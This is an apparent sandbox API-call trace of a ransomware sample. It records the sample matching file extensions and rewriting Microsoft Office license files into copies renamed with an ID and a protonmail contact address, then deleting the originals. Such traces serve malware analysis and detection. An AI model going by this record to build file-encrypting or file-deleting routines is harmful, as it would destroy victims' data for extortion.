	[0189.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.701] lstrlenW (lpString=".doc") returned 4
	[0189.701] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0189.701] lstrlenW (lpString=".docx") returned 5
	[0189.701] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0189.701] lstrlenW (lpString=".pdf") returned 4
	[0189.701] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0189.701] lstrlenW (lpString=".xls") returned 4
	[0189.701] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0189.701] lstrlenW (lpString=".xlsx") returned 5
	[0189.701] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0189.701] lstrlenW (lpString=".ppt") returned 4
	[0189.701] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0189.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.701] lstrlenW (lpString=".zip") returned 4
	[0189.701] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0189.701] lstrlenW (lpString=".rar") returned 4
	[0189.701] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0189.702] lstrlenW (lpString=".bz2") returned 4
	[0189.702] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0189.702] lstrlenW (lpString=".7z") returned 3
	[0189.702] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0189.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.702] lstrlenW (lpString=".dbf") returned 4
	[0189.702] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0189.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.702] lstrlenW (lpString=".1cd") returned 4
	[0189.702] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0189.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.702] lstrlenW (lpString=".jpg") returned 4
	[0189.702] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0189.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.702] lstrlenW (lpString=".doc") returned 4
	[0189.702] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1
	[0189.702] lstrlenW (lpString=".docx") returned 5
	[0189.702] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1
	[0189.702] lstrlenW (lpString=".pdf") returned 4
	[0189.702] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1
	[0189.702] lstrlenW (lpString=".xls") returned 4
	[0189.702] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1
	[0189.702] lstrlenW (lpString=".xlsx") returned 5
	[0189.702] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1
	[0189.702] lstrlenW (lpString=".ppt") returned 4
	[0189.702] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1
	[0189.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.702] lstrlenW (lpString=".zip") returned 4
	[0189.703] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1
	[0189.703] lstrlenW (lpString=".rar") returned 4
	[0189.703] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1
	[0189.703] lstrlenW (lpString=".bz2") returned 4
	[0189.703] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1
	[0189.703] lstrlenW (lpString=".7z") returned 3
	[0189.703] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1
	[0189.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.703] lstrlenW (lpString=".dbf") returned 4
	[0189.703] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1
	[0189.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.703] lstrlenW (lpString=".1cd") returned 4
	[0189.703] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1
	[0189.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows6.1-KB2999226-x64.msu") returned 79
	[0189.703] lstrlenW (lpString=".jpg") returned 4
	[0189.703] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1
	[0189.703] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0189.703] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26
	[0189.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0189.790] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10639) returned 1
	[0189.790] CloseHandle (hObject=0x5ac) returned 1
	[0189.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220
	[0190.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.930] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.930] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.931] GetLastError () returned 0x0
	[0190.931] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x298f, lpOverlapped=0x0) returned 1
	[0190.936] WriteFile (in: hFile=0x5e8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0190.937] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.937] WriteFile (in: hFile=0x5e8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x108, lpOverlapped=0x0) returned 1
	[0190.937] SetEndOfFile (hFile=0x5e8) returned 1
	[0190.937] CloseHandle (hObject=0x5e8) returned 1
	[0190.937] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.937] SetEndOfFile (hFile=0x4ac) returned 1
	[0190.941] CloseHandle (hObject=0x4ac) returned 1
	[0190.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1
	[0190.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.943] lstrlenW (lpString=".doc") returned 4
	[0190.943] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.943] lstrlenW (lpString=".docx") returned 5
	[0190.943] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.943] lstrlenW (lpString=".pdf") returned 4
	[0190.943] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.943] lstrlenW (lpString=".xls") returned 4
	[0190.943] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.943] lstrlenW (lpString=".xlsx") returned 5
	[0190.943] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.943] lstrlenW (lpString=".ppt") returned 4
	[0190.943] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.943] lstrlenW (lpString=".zip") returned 4
	[0190.943] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.943] lstrlenW (lpString=".rar") returned 4
	[0190.943] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.943] lstrlenW (lpString=".bz2") returned 4
	[0190.943] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.943] lstrlenW (lpString=".7z") returned 3
	[0190.944] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.944] lstrlenW (lpString=".dbf") returned 4
	[0190.944] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.944] lstrlenW (lpString=".1cd") returned 4
	[0190.944] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.944] lstrlenW (lpString=".jpg") returned 4
	[0190.944] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.944] lstrlenW (lpString=".doc") returned 4
	[0190.944] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.944] lstrlenW (lpString=".docx") returned 5
	[0190.944] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.944] lstrlenW (lpString=".pdf") returned 4
	[0190.944] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.944] lstrlenW (lpString=".xls") returned 4
	[0190.944] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.944] lstrlenW (lpString=".xlsx") returned 5
	[0190.944] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.944] lstrlenW (lpString=".ppt") returned 4
	[0190.944] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.944] lstrlenW (lpString=".zip") returned 4
	[0190.944] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.944] lstrlenW (lpString=".rar") returned 4
	[0190.944] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.945] lstrlenW (lpString=".bz2") returned 4
	[0190.945] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.945] lstrlenW (lpString=".7z") returned 3
	[0190.945] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.945] lstrlenW (lpString=".dbf") returned 4
	[0190.945] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.945] lstrlenW (lpString=".1cd") returned 4
	[0190.945] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76
	[0190.945] lstrlenW (lpString=".jpg") returned 4
	[0190.945] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.945] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.945] lstrlenW (lpString="AccessVL_KMS_Client-ul.xrm-ms") returned 29
	[0190.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.946] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=9606) returned 1
	[0190.946] CloseHandle (hObject=0x4ac) returned 1
	[0190.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 0x220
	[0190.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.947] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.947] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.948] GetLastError () returned 0x0
	[0190.948] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x2586, lpOverlapped=0x0) returned 1
	[0190.950] WriteFile (in: hFile=0x5e8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2590, lpOverlapped=0x0) returned 1
	[0190.951] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.951] WriteFile (in: hFile=0x5e8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0190.951] SetEndOfFile (hFile=0x5e8) returned 1
	[0190.951] CloseHandle (hObject=0x5e8) returned 1
	[0190.951] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.951] SetEndOfFile (hFile=0x4ac) returned 1
	[0190.955] CloseHandle (hObject=0x4ac) returned 1
	[0190.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0190.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ul.xrm-ms")) returned 1
	[0190.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.956] lstrlenW (lpString=".doc") returned 4
	[0190.956] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.956] lstrlenW (lpString=".docx") returned 5
	[0190.957] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.957] lstrlenW (lpString=".pdf") returned 4
	[0190.957] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.957] lstrlenW (lpString=".xls") returned 4
	[0190.957] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.957] lstrlenW (lpString=".xlsx") returned 5
	[0190.957] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.957] lstrlenW (lpString=".ppt") returned 4
	[0190.957] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.957] lstrlenW (lpString=".zip") returned 4
	[0190.957] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.957] lstrlenW (lpString=".rar") returned 4
	[0190.957] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.957] lstrlenW (lpString=".bz2") returned 4
	[0190.957] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.957] lstrlenW (lpString=".7z") returned 3
	[0190.957] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.957] lstrlenW (lpString=".dbf") returned 4
	[0190.957] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.958] lstrlenW (lpString=".1cd") returned 4
	[0190.958] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.958] lstrlenW (lpString=".jpg") returned 4
	[0190.958] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.958] lstrlenW (lpString=".doc") returned 4
	[0190.958] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString=".docx") returned 5
	[0190.958] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0190.958] lstrlenW (lpString=".pdf") returned 4
	[0190.958] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString=".xls") returned 4
	[0190.958] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString=".xlsx") returned 5
	[0190.958] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0190.958] lstrlenW (lpString=".ppt") returned 4
	[0190.958] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.958] lstrlenW (lpString=".zip") returned 4
	[0190.958] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString=".rar") returned 4
	[0190.958] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString=".bz2") returned 4
	[0190.958] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0190.958] lstrlenW (lpString=".7z") returned 3
	[0190.958] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0190.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.959] lstrlenW (lpString=".dbf") returned 4
	[0190.959] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0190.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.959] lstrlenW (lpString=".1cd") returned 4
	[0190.959] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0190.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ul.xrm-ms") returned 79
	[0190.959] lstrlenW (lpString=".jpg") returned 4
	[0190.959] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0190.959] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0190.959] lstrlenW (lpString="AccessVL_MAK-pl.xrm-ms") returned 22
	[0190.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.960] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10623) returned 1
	[0190.960] CloseHandle (hObject=0x4ac) returned 1
	[0190.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms")) returned 0x220
	[0190.960] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0190.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0190.961] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.961] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0190.962] GetLastError () returned 0x0
	[0190.962] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x297f, lpOverlapped=0x0) returned 1
	[0190.964] WriteFile (in: hFile=0x5e8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x2980, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x2980, lpOverlapped=0x0) returned 1
	[0191.112] ReadFile (in: hFile=0x4ac, lpBuffer=0x3b56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.112] WriteFile (in: hFile=0x5e8, lpBuffer=0x3b56020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b56020*, lpNumberOfBytesWritten=0x300fc94*=0x100, lpOverlapped=0x0) returned 1
	[0191.112] SetEndOfFile (hFile=0x5e8) returned 1
	[0191.113] CloseHandle (hObject=0x5e8) returned 1
	[0191.113] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1
